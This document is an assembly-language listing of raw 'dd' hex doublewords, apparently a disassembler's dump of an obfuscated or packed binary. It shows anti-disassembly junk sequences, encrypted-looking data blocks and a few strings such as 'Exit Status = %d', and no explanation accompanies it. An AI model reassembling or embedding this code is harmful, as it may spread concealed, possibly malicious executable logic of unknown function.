		dd 820F00h, 61000000h, 6820Fh, 0B5890000h, 61214F1h, 287185C6h
		dd 0F5000612h, 8D89F561h, 6121859h, 310008C2h, 1229718Dh
		dd 5E95006h, 67000000h,	0E45AFFFAh, 0F9243489h,	41E0B589h
		dd 89600612h, 1219C9B5h, 8D896106h, 61241F4h, 0B58D6160h
		dd 61240C4h, 6800Fh, 9D890000h,	6121129h, 8EA1858Dh, 850F005Bh
		dd 6, 12518529h, 0D0FF0612h, 0E099D31h,	0E95E0612h, 8
		dd 733905BFh, 4EA61C19h, 11E9h,	18D64000h, 8D2F53D3h, 1972FFDh
		dd 866BC567h, 60C31607h, 5880Fh, 0C2BF0000h, 8B0D3EA0h
		dd 1201DD8Dh, 13E96106h, 0F3000000h, 0C7F7F2AAh, 1EF0B7C4h
		dd 0DE112697h, 0B8A9DF33h, 0B58B20EAh, 61241E0h, 2415B589h
		dd 85890612h, 61204ADh,	41F48D8Bh, 89600612h, 122039B5h
		dd 14E906h, 0AFB00000h,	0EB7B4E51h, 6A45CEF2h, 0C0B323DCh
		dd 2AFCBA9h, 961D207h, 121A55B5h, 0B806h, 8D010000h, 6121C09h
		dd 60D98BF9h, 0C9B529FCh, 61061223h, 0ACE9h, 10E9F500h
		dd 0AC000000h, 946DF881h, 2A1229A8h, 71DD428Ch,	32CE9C80h
		dd 0DC8A6026h, 3009B589h, 0B2610612h, 0B18D8902h, 0E9061212h
		dd 5Bh,	22F19529h, 0C2320612h, 599BD29h, 7A050612h, 608A751Dh
		dd 0F086C881h, 0BD896189h, 6121B55h, 0CC8AF561h, 14E9h
		dd 3A0F7E00h, 8A597E81h, 6AB616ACh, 804340EFh, 2C0EA1BEh
		dd 89C8D3CBh, 1203CD85h, 4235F806h, 6098D108h, 66B2F380h
		dd 0FE61D08Bh, 98D09CAh, 0A061216h, 0A3850FD2h,	0FFFFFFFh
		dd 683h, 75958900h, 4B061226h, 0E419589h, 9460612h, 1203299Dh
		dd 0FDB0B06h, 0FFFF6285h, 418531FFh, 0CF061207h, 2081BD89h
		dd 612h, 8149B160h, 0C29A6D6h, 6155h, 18B1B589h, 612h
		dd 0AE9h, 5FDCE600h, 0CE8469CAh, 31F7F9E7h, 123195B5h
		dd 89000006h, 122B0D8Dh, 5D858D06h, 0E906123Bh,	0Eh, 0F820EAB8h
		dd 2A027882h, 0A8BE291Ch, 85891F23h, 6121689h, 0C840Fh
		dd 850F0000h, 6, 820Fh,	858D0000h, 6124023h, 6E9h, 875F4F00h
		dd 89330057h, 122F6585h, 14EB06h, 3 dup(0)
		dd 8B000000h, 8D000000h, 12433185h, 0AD858906h,	83061234h
		dd 124269BDh, 840F0006h, 12Bh, 287185C6h, 0E8560612h, 4
		dd 0D41F6D39h, 24448B50h, 89008B04h, 58042444h,	3B1B5FFh
		dd 858D0612h, 6123B5Dh,	8589D0FFh, 612425Dh, 287185C6h
		dd 0E8560612h, 4, 9CA8B852h, 24448B50h,	89008B04h, 58042444h
		dd 3B1B5FFh, 858D0612h,	6123B5Dh, 8589D0FFh, 6124261h
		dd 0DD68046Ah, 81BE84F6h, 19232404h, 858B417Bh,	612426Dh
		dd 1F405h, 2E0C100h, 6A905090h,	6195FF00h, 89061242h, 12426585h
		dd 0B8D88B06h, 0FFFFFFFFh, 34AD95FFh, 0C38B0612h, 34AD95FFh
		dd 84E90612h, 83000000h, 124269BDh, 850F0006h, 1, 0BD8B57C3h
		dd 6124265h, 658583ABh,	4061242h, 0BD83C35Fh, 6124269h
		dd 1850F00h, 0C3000000h, 65AD8360h, 4061242h, 42659D8Bh
		dd 7B830612h, 850FFFFCh, 1Dh, 70D00768h, 2434811Fh, 1F705007h
		dd 33FF006Ah, 425D95FFh, 0C3610612h, 1DE9h, 58EC6800h
		dd 3481563Bh, 3BD8EC24h, 0FF006A56h, 5D95FF33h,	83061242h
		dd 124265ADh, 0B1E90406h, 48FFFFFFh, 9D3E9h, 23473F00h
		dd 25C225E5h, 97AFF34Fh, 8D9D91D2h, 2AFA5D5Fh, 0FB4F73C9h
		dd 39560BBFh, 5F0DB3FEh, 23616271h, 29802EE8h, 0C5B8E147h
		dd 8A8F8081h, 45B1521Ah, 0F14503AAh, 355716ABh,	5D0DB3ACh
		dd 23626D77h, 368034E8h, 0C5A7FB5Ah, 91919C9Fh,	2EBF460Dh
		dd 0E60937C9h, 784616AFh, 4843B2FEh, 23747977h,	37CF32F1h
		dd 0CBA7F55Ah, 63h dup(0)
		dd 23473F00h, 39CE2FECh, 0C5B8FB5Ch, 99938B82h,	6FF25E0Dh
		dd 0B45A32CFh, 775700A8h, 440CA0ACh, 71266876h,	39CE2EF4h
		dd 8CEAF346h, 9185D99Ch, 3CBF4D0Ah, 0F15D20DEh,	14384BA7h
		dd 5006AADCh, 232A696Bh, 3FCC2EF4h, 8CEAF049h, 8C9AD986h
		dd 22BF5210h, 0E6463EC2h, 775345B3h, 5411E6E8h,	7167786Bh
		dd 3FD960F5h, 95EAE65Dh, 8C9B9680h, 0B1521Eh, 48h dup(0)
		dd 23473F00h, 33C132E2h, 0C2B8F143h, 9188D981h,	27BF5310h
		dd 0F60920C6h, 395C00AFh, 5F16A9EAh, 76742C7Ch,	3EC92EEFh
		dd 8BA3B44Fh, 8B9380D2h, 36EC1F0Dh, 0F94C27D4h,	493F6FE4h
		dd 4202A3E0h, 7626207Dh, 31CF2CEFh, 91A3B44Ch, 918E9FD2h
		dd 2AF21F12h, 0ED5B3CCAh, 7D5C04EAh, 4206B4ACh,	77746D6Ch
		dd 25CF39A1h, 97BAB45Ah, 9F8E9E9Dh, 1112h, 61h dup(0)
		dd 6A403F00h, 338025EDh, 90B8E647h, 9A998D82h, 1BBF115Eh
		dd 0B45A3ACFh, 7E5D17BAh, 110EA7FEh, 23756D70h,	3EC525E3h
		dd 8BABF908h, 9289899Bh, 2BFA4B1Eh, 0F0473287h,	605308EAh
		dd 3C69A3EEh, 70217871h, 36CE29A1h, 80BEF74Dh, 879ED996h
		dd 19BF5E5Fh, 0E75C21CEh, 39400AEAh, 5202B4EFh,	2D626973h
		dd 39C814A1h, 8CACB45Bh, 89DC9C9Eh, 3BB85110h, 0E6462487h
		dd 775345A1h, 430CABF5h, 227Dh,	0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2DCEE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 983E8620h, 0FC455FDDh, 0C319501h
		dd 0C08B0612h, 0DC02BA66h, 1B91BD83h, 75000612h, 0DDBD8309h
		dd 61217h, 53501374h, 1B8C08Bh,	8D000000h, 14ACB19Dh, 5BD3FF06h
		dd 0DDBD8358h, 61217h, 53501174h, 1B8h,	629D8D00h, 0FF0614ABh
		dd 80585BD3h, 0E28169D2h, 3B0FDBCCh, 10E9C08Bh,	2B000000h
		dd 0BCFF0CE7h, 2E104653h, 6499B9B8h, 83A5DE2Bh,	120779BDh
		dd 840F0006h, 176h, 0AB47DB81h,	0BD832056h, 6122A7Dh, 63840F00h
		dd 66000001h, 48F9D281h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 73F525FFh, 0FCD63C95h
		dd 17CD9D8Bh, 858B0612h, 6122A7Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 96C35141h, 0B5092AA2h, 6122675h
		dd 0E805D58Ah, 9000003h, 12351D85h, 0F18A5006h,	60240489h
		dd 0B589D78Bh, 61203A1h, 75858D61h, 8006124Dh, 8B5021E6h
		dd 240489D9h, 4D53858Dh, 95890612h, 6121525h, 5071B390h
		dd 0BFB25250h, 0D58A310Fh, 0FF90585Ah, 12237195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0D38151C5h, 66C15FF1h, 0DA8B665Ah, 6A0CC483h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0D8A5C356h, 0BBDECA02h, 12B3F41Ch, 7E9h, 7ACA0600h
		dd 0CF4EBD95h, 4D53858Dh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0F433CDC3h, 0ABA2F1ADh
		dd 0AE44BA66h, 89AEB250h, 0B5892404h, 612261Dh,	5D9E54BBh
		dd 0FF026A13h, 6AED1495h, 0EE900h, 0A6EC0000h, 0DB6A3ADEh
		dd 64323F68h, 3D55524Ah, 0D2B70F61h, 0B81BD381h, 85C74CB0h
		dd 6124D86h, 1,	14E950F8h, 3E000000h, 24B89327h, 8A1F0C0h
		dd 0E87602Eh, 747CBA3Ah, 89797235h, 95012434h, 61201C9h
		dd 4D37B589h, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0DB99C6C3h, 0D1CD00F1h, 8BDFD28Eh
		dd 12093D95h, 5BF55206h, 7ADBD83h, 0F010612h, 6C85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0BFA4B4B5h, 0F92375ACh, 6D59D23h, 0F8830612h, 3A850F05h
		dd 0E9000000h, 8, 0A700564h, 98DA62FEh,	0B8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 816650EAh, 5A2F97CBh, 5F5274BAh, 45BD8305h, 61210h
		dd 1B840Fh, 9D290000h, 6121E21h, 0DBEB8160h, 0FF7DE600h
		dd 12104595h, 8161F906h, 0D51852C3h, 79BD836Ch,	61203h
		dd 10840Fh, 0B70F0000h,	0B8DBh,	79B20000h, 19719531h, 6A600612h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 50AAC350h, 0E439BC6Dh, 40B92185h,	3A5858Bh
		dd 8EBB0612h, 832E858Ch, 6A02C0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 7E8BE1C3h, 0F2819523h
		dd 6181F9AEh, 4D2F8589h, 96B30612h, 0F5FF00C6h,	287185C6h
		dd 0FC530612h, 4E8h, 0B148D800h, 5072B3FCh, 0E667B5BAh
		dd 24448B1Eh, 8BD18B04h, 89DFB300h, 60042444h, 310F5250h
		dd 5AF98B66h, 7AB86658h, 8B5861FBh, 122E1D9Dh, 0E9B5FF06h
		dd 6A061230h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 7DCAC356h, 4EB9F724h, 7F35858Dh
		dd 0D0FF0615h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	8DC35141h, 0CAB3CDFAh, 85893B65h, 61219CDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 34C35040h, 1299BD83h
		dd 0F010612h, 0D185h, 33BB6600h, 6A6143h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 3DDBA5C3h
		dd 0DDAF2CD2h, 7185C61Ch, 45061228h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 2FC35343h, 0BAF8E855h, 0E5BD3132h
		dd 68061201h, 99C36D63h, 4820Fh, 0BA660000h, 481B3CDh
		dd 9CCB5F24h, 0D3BF0F40h, 30E9B5FFh, 95290612h,	6121B75h
		dd 7F35858Dh, 8E90615h,	8000000h, 0F23D3B50h, 0FFC202A0h
		dd 14E9D0h, 0C6C80000h,	408E2FBEh, 0CB113DE8h, 879C1B7h
		dd 0CAF4DA16h, 6AD590h,	0D9816051h, 0CE1435Bh, 0FE9h, 0ED07A300h
		dd 53FDA90Ah, 8C97D4D1h, 59D75859h, 0D0FF5A61h,	2D759D8Bh
		dd 0BD830612h, 6122911h, 0DC850F01h, 8B000000h,	1203A585h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0AB2C715h, 9D8B6338h, 612035Dh, 54E9D98Ah
		dd 1000000h, 121245B5h,	0BE906h, 2B360000h, 599BA930h
		dd 46C3DF4Dh, 52509080h, 310FF5B3h, 0D68B6656h,	50585A5Ah
		dd 0CE890h, 93000000h, 81F4E7E3h, 4FDCB670h, 958BA1E0h
		dd 61221BDh, 0F9146A5Bh, 19CD95FFh, 85290612h, 6122F21h
		dd 659D8B58h, 80061229h, 850F0038h, 0FFFFFFB9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0C6C35040h, 0BBBE3ACAh
		dd 0C6D7B70Fh, 6A0100h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 745EF6C3h, 9185891Fh, 6106121Ch
		dd 1151B529h, 0BD830612h, 6122F3Dh, 55840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 97B6C350h, 89F0F88Eh, 0C381EB97h,	52888B50h
		dd 0BD29FF6Ah, 61234DDh, 19CD95FFh, 0EE90612h, 8000000h
		dd 0CE06FEC6h, 0D07C3611h, 5003F71Eh, 0FFDAE92Ch, 9589FFFFh
		dd 6122CB1h, 2F3D85C7h,	10612h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 75F652C3h
		dd 3B8589B5h, 6A06124Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 4036C356h, 0D8494200h
		dd 0DF27AA16h, 7E952h, 0D4CF0000h, 31936EA5h, 8B505B96h
		dd 240489D8h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	41C35646h, 0B1958B54h, 6006120Dh, 7E951h, 0A3AF0000h
		dd 0AC205E8Ah, 0B70F5AE4h, 9056ADBh, 12004D9Dh,	859D8906h
		dd 8D06121Fh, 124D5385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0DF3F6BDCh, 31CED3C5h
		dd 1212BDBDh, 58D0906h,	50061211h, 4899EB3h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0CA5BFB00h, 0CD2DDBDh, 0D98B4EF8h, 4D43858Dh, 85310612h
		dd 6121961h, 10E890h, 84280000h, 7F99A25Fh, 0B5B3E6D2h
		dd 0D2DF96A9h, 24B65886h, 5253505Bh, 0EE9h, 36FD0A00h
		dd 0C9535570h, 7893E758h, 5BEA084Dh, 6A905Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8166B2C3h
		dd 8B0DC5D3h, 12173D9Dh, 5995FF06h, 8D061210h, 127B0F8Dh
		dd 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 9D57DA0Bh, 0ABBB66DBh, 74C00B55h, 53858D11h,	5006124Dh
		dd 8589D1FFh, 6124D71h,	85C70AEBh, 6124D71h, 0FFFFFFFFh
		dd 0AAC38166h, 3840FD0h, 0F000000h, 6AD0BFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 7387CBC3h
		dd 60582D2Fh, 18800Fh, 13E90000h, 7000000h, 0F62BFC1Eh
		dd 0DE798FDCh, 89A5C16Bh, 0E2585E32h, 0B5896EF3h, 612036Dh
		dd 6A6161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 90887AC3h, 750EA883h, 0C61B6EBDh,	12287185h
		dd 0B5894D06h, 61226CDh, 4CE60F68h, 0FDBA66A4h,	24348143h
		dd 7990A7h, 0C5B5FFF8h,	6A06120Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 74F3C351h
		dd 958B57D2h, 612129Dh,	0B1958B5Bh, 8D06122Ch, 157F3585h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0B68672Eh, 0F6AA4FC6h, 20FD9D8Bh, 0D0FF0612h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CEC35545h
		dd 8B659A4Eh, 0F1958BD2h, 8906122Fh, 12234185h,	0CE906h
		dd 170B0000h, 9493237Ch, 0B3280026h, 85C699B7h,	6122871h
		dd 56006A45h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 863CE51Ah, 5E860h, 11C80000h, 568A2A28h
		dd 0D0815F5Ah, 1EDCC855h, 4E861h, 69690000h, 8B608E72h
		dd 535061F9h, 11E9h, 857E1500h,	3AA6A23h, 275EFB15h, 2D1F9DF3h
		dd 8B5B34C8h, 0BA042444h, 8FB421Eh, 4489008Bh, 9E90424h
		dd 0DC000000h, 0E3D96755h, 0F59743A5h, 55006A58h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0DA32CD13h, 7D953348h, 0FF06121Dh, 1230E9B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0F7E0D5E4h, 98F7FD25h, 148B0Fh, 0FE90000h, 14000000h
		dd 619B11ADh, 0E9F40F58h, 15A9D228h, 858DA1D9h,	6157F35h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 72C35343h
		dd 8BAB889Bh, 11B589D0h, 0FF061218h, 18A0FD0h, 0FC000000h
		dd 30FD8589h, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 1248C4C3h, 0D28B9EF3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 54C35343h, 8BD98C66h
		dd 1224099Dh, 7E906h, 4A250000h, 0ECC27F09h, 4C1F671h
		dd 24A840Fh, 0D98B0000h, 15EE9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0C4B5F43Bh
		dd 9C1B58Bh, 8E80612h, 61000000h, 0FF883E0h, 66FC8294h
		dd 382ECB81h, 80C6815Ah, 6A000011h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0C70CC351h
		dd 94D5E003h, 0BD83D78Bh, 6120099h, 3B850F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0D8BFC352h, 667A0B3Ch, 0E242C281h, 0D1D28166h
		dd 0A4E9ECh, 820F0000h,	6, 6C99589h, 3E830612h,	8F840F00h
		dd 0E9000000h, 11h, 5493E39Fh, 8F46C84Fh, 8CDC143h, 11E5416Ah
		dd 0C59D8983h, 60061208h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 69C35242h, 29E95F11h,	121BED8Dh, 0B1858906h
		dd 6A06120Dh, 8E914h, 65970000h, 0C6439E66h, 95FF0537h
		dd 61219CDh, 0DEB8166h,	0BD89619Ch, 61212E1h, 0FFFF89E9h
		dd 158C0FFFh, 57000000h, 0EE9h,	9F86B300h, 7D95BAADh, 0BD588FD5h
		dd 5A8BA6D3h, 94D9D03h,	6C70612h, 1, 12E9h, 54D52000h
		dd 41CF2579h, 1207C290h, 75E4E908h, 8317DA4Bh, 124D3BBDh
		dd 850F0506h, 0D8h, 521BF60h, 0E1812774h, 7461772Ah, 0FDB58B61h
		dd 8B061230h, 64B9D7h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0ACFCB9C3h, 8BA34180h
		dd 12099D95h, 0E83E8006h, 44840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 531F49C3h
		dd 0BBC579BAh, 0EE95B14h, 49000000h, 1D8EE255h,	5947D07Bh
		dd 0BE5F3051h, 14E986h,	0BA660000h, 0BA66EEE4h,	7E80256Dh
		dd 840FC205h, 35h, 0E946D38Bh, 12h, 9E127515h, 1C718157h
		dd 68E6399Eh, 0FE932D80h, 0F498C49h, 0FFFF8885h, 0EEBB66FFh
		dd 99C680B4h, 13E9h, 0B5895000h, 6121A49h, 61B5895Ah, 0B306121Ch
		dd 0DAB70F6Ch, 3DBA6658h, 5BD8323h, 61207h, 13E840Fh, 9D8B0000h
		dd 6121B99h, 0BBD68B60h, 7076AC3Ch, 287185C6h, 6A540612h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 263BC357h, 66504F3Dh, 5A0098BAh, 10E9h, 7185A00h
		dd 4D8B8EC8h, 6DD12A89h, 45480D73h, 0B6456824h,	2BB2863Eh
		dd 0AF240481h, 8B791008h, 1216499Dh, 0E9B5FF06h, 6A061230h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 69E1C353h, 0D7BF0FE1h, 7F35858Dh,	810F0615h
		dd 6, 1799B531h, 0D0FF0612h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0FAC35646h,	5E839E26h, 8E8h
		dd 5DA7B100h, 0C36FDAB3h, 99B529D6h, 5A061204h,	31099D8Bh
		dd 6AF90612h, 0B59D8B00h, 0E906122Dh, 0Ah, 2A390ADDh, 63E52BE1h
		dd 0B5FFE823h, 6120705h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 46C35343h, 0CE9h, 33F81700h, 18E3B631h
		dd 3F9EEA16h, 0BAC381A8h, 0FF336C78h, 68F0FD0h,	89000000h
		dd 1204818Dh, 958B6106h, 61209BDh, 212185C7h, 10612h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 821921C3h, 5F741E0Fh, 7D9D8B12h, 60061207h, 12E9h, 400F6400h
		dd 43EEF723h, 67828196h, 4FEF7F0Ch, 0E884F0BDh,	4, 80h
		dd 0D38B6650h, 424448Bh, 8BDF8Bh, 4489D88Bh, 2FB30424h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0E411EC62h, 608091Dh, 0B1B58920h, 6A061212h
		dd 0D98BF8FFh, 14A595FFh, 8B660612h, 6A61DEh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 8F7030C3h
		dd 8B5676CDh, 122DF59Dh, 60505B06h, 19810Fh, 13E80000h
		dd 6C000000h, 0E22247D3h, 0D194B4E5h, 2B7EC397h, 75175A38h
		dd 0F59621Ch, 387h, 0CE8B6600h,	24048961h, 2AEB8166h, 91858BEAh
		dd 6A061229h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0FFEAC352h, 66C989CAh,	1F500C4Ah
		dd 0BDAB70Fh, 3A840FC0h, 0FF000000h, 12206995h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0B3745243h, 60606043h, 8CB86661h, 0BB6661F1h, 89617195h
		dd 1201C58Dh, 2585C706h
		dd 106121Dh, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0E2C0C355h,	0C1196ECBh
		dd 8095B64Bh, 0BD83F1EAh, 6121325h, 12840F00h, 8B000000h
		dd 121F7D95h, 2595FF06h, 8B06121Ah, 120EB99Dh, 55BD8306h
		dd 61203h, 4B840Fh, 14E90000h, 8F000000h, 9C92EAF2h, 0BB337A20h
		dd 0B3FC4627h, 301F4AEBh, 60D3D4FDh, 11E851h, 0E0580000h
		dd 0F2B5F2D0h, 6B2147A8h, 0DDB2A0C2h, 5F8173A1h, 0F1B5295Ah
		dd 61061203h, 1C7595FFh, 8F0F0612h, 2, 8B66FC8Ah, 6DBD83D6h
		dd 6121Fh, 3C840Fh, 0BD890000h,	6122955h, 905BD83h, 0F000612h
		dd 2985h, 999D0B00h, 0FF06121Bh, 12151D95h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BD833C71h, 6122CD1h, 4D840F00h, 0E9000000h,	7, 0E534415h
		dd 8172FDAEh, 12008585h, 400306h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 26F33A51h
		dd 22958581h, 40030612h, 850F0000h, 8, 4D950156h, 5B06122Fh
		dd 6A310Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0C6A38BC3h, 0EF065117h, 8B66D38Bh, 49958BD0h
		dd 8D06121Ah, 125E958Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 6A018963h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 1459C352h
		dd 90990DAAh, 0EA81664Ah, 0B589E172h, 6120035h,	11E9C233h
		dd 97000000h, 8B448DD4h, 51F274D3h, 0F241A19Bh,	740EF95Ch
		dd 81044189h, 6B57BCBh,	0C1BB665Dh, 6A310F87h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 88EDC351h, 0BADAB70Fh, 60DC6757h, 5EBE8D8Dh,	0D2810612h
		dd 0DDF922h, 958B0189h,	6120091h, 5E8C233h, 6F000000h
		dd 3A48DCC9h, 0CE9h, 2AC54400h,	83750CE5h, 0E19DB5BFh
		dd 0B5295B94h, 6122C8Dh, 6A044189h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2BC6C355h
		dd 2629B589h, 0BD830612h, 61220E5h, 11840F00h, 89000000h
		dd 122C2D8Dh, 8195FF06h, 0BB061201h, 6101007Eh,	2F2DBD83h
		dd 0F010612h, 6C85h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 3E9505B3h, 13E92Dh, 5F5B0000h
		dd 0DA4E0E33h, 8BC547FCh, 582FF72h, 21CED6CEh, 2FE9ACh
		dd 958B0000h, 61202ADh,	6063B58Bh, 6C70612h, 0
		dd 5DBCB58Bh, 6C70612h,	0
		dd 0E9F4B3CFh, 9, 0EC4B6757h, 2379AA48h, 25BD833Eh, 6121Dh
		dd 173840Fh, 0BD890000h, 6120C31h, 21D9BD83h, 0F010612h
		dd 13285h, 0FBBB6600h, 2F8D8BE9h, 6A06124Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0F656C357h, 0CC5A5751h, 0B7225A35h, 29FDB589h, 1C60612h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BB6659E4h, 0F505618h, 683h, 8BF38100h
		dd 5B32B199h, 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 49D20885h, 958950B3h, 6121BC9h, 0EEB16F68h
		dd 1892BA6Dh, 34813AFAh, 0EEB1EF24h, 0B7FF6A6Dh, 0B589607Dh
		dd 6120E89h, 5B0CB866h,	0A595FF61h, 6A061214h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 3F8AC352h, 705A73E4h, 0FAEF8009h, 8B61FE8Ah,	121FC59Dh
		dd 0B195FF06h, 6A061219h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 3D95C352h, 4BB669BCh
		dd 2F8D8BADh, 0E906124Dh, 0Dh, 0C7421E35h, 0FE49B0A9h
		dd 0DC50D327h, 0F01FE01h, 682h,	5958B00h, 83061215h, 122C45BDh
		dd 850F0106h, 21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 68C35747h, 74BA660Dh,	80C08BB0h, 0BD8397E2h
		dd 6121B91h, 83097500h,	1217DDBDh, 1A740006h, 0C08B5350h
		dd 85858Bh, 85890612h, 6120085h, 0AE0F9D8Dh, 0D3FF0614h
		dd 0BD83585Bh, 61217DDh, 50187400h, 85858B53h, 89061200h
		dd 12008585h, 0FE9D8D06h, 0FF0614AAh, 6A585BD3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 6CCBC357h, 89C36CFEh, 12113D95h, 0B99D8B06h,	8B06121Fh
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0B98531EEh, 83061205h, 121D25BDh, 850F0006h
		dd 39h,	0CF18EB81h, 0E96014C7h,	14h, 10EA88A4h,	3DC087C2h
		dd 0EDB0CDF9h, 0F96CDCCDh, 5DA817Eh, 18B99D29h,	83610612h
		dd 1205BDBDh, 840F0006h, 5, 0C350A0BAh,	25BD836Eh, 6121Dh
		dd 6F840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 56B399C3h, 0B29CE40Ah, 800F7401h
		dd 20h,	0AE8h, 26D5FA00h, 87F178A7h, 0E9E57209h, 0Bh, 0C9889955h
		dd 0C23544F7h, 5B600CFAh, 0A397D381h, 0BD831A06h, 61217EDh
		dd 12840F00h, 0E8000000h, 0Ah, 45A5D573h, 4CC9FFFFh, 0F88ADE00h
		dd 25BD835Bh, 6121Dh, 19840Fh, 66510000h, 8B5BD08Bh, 1226819Dh
		dd 0EDBD8306h, 61217h, 1840Fh, 83FC0000h, 121D25BDh, 840F0006h
